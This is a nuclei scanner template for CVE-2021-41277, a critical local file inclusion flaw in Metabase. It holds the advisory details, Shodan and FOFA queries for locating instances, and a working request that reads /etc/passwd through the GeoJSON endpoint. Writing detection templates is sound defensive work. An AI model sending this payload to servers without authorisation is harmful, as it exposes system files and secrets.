nuclei-templates/cves/2021/CVE-2021-41277.yaml

36 lines
1.4 KiB
YAML
Raw Normal View History

2021-11-20 06:55:50 +00:00
id: CVE-2021-41277
2021-11-20 11:49:24 +00:00
2021-11-20 06:55:50 +00:00
info:
name: Metabase Local File Inclusion
author: 0x_Akoko
severity: critical
description: Metabase is an open source data analytics platform. In affected versions a security issue has been discovered with the custom GeoJSON map (`admin->settings->maps->custom maps->add a map`) support and potential local file inclusion (including environment variables). URLs were not validated prior to being loaded. This issue is fixed in a new maintenance release (0.40.5 and 1.40.5), and any subsequent release after that. If you’re unable to upgrade immediately, you can mitigate this by including rules in your reverse proxy or load balancer or WAF to provide a validation filter before the application.
reference:
2021-11-20 11:49:24 +00:00
- https://github.com/metabase/metabase/security/advisories/GHSA-w73v-6p7p-fpfr
2021-11-20 06:55:50 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2021-41277
2021-11-20 11:49:24 +00:00
- https://twitter.com/90security/status/1461923313819832324
metadata:
shodan-query: http.title:"Metabase"
fofa-query: app="Metabase"
2021-11-20 06:55:50 +00:00
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:L
cvss-score: 10.0
cve-id: CVE-2021-41277
cwe-id: CWE-200
tags: cve,cve2021,metabase,lfi
requests:
- method: GET
path:
2021-11-20 11:49:24 +00:00
- "{{BaseURL}}/api/geojson?url=file:///etc/passwd"
2021-11-20 06:55:50 +00:00
matchers-condition: and
matchers:
- type: regex
regex:
2021-11-20 11:49:24 +00:00
- "root:.*:0:0:"
2021-11-20 06:55:50 +00:00
- type: status
status:
2021-11-20 11:49:24 +00:00
- 200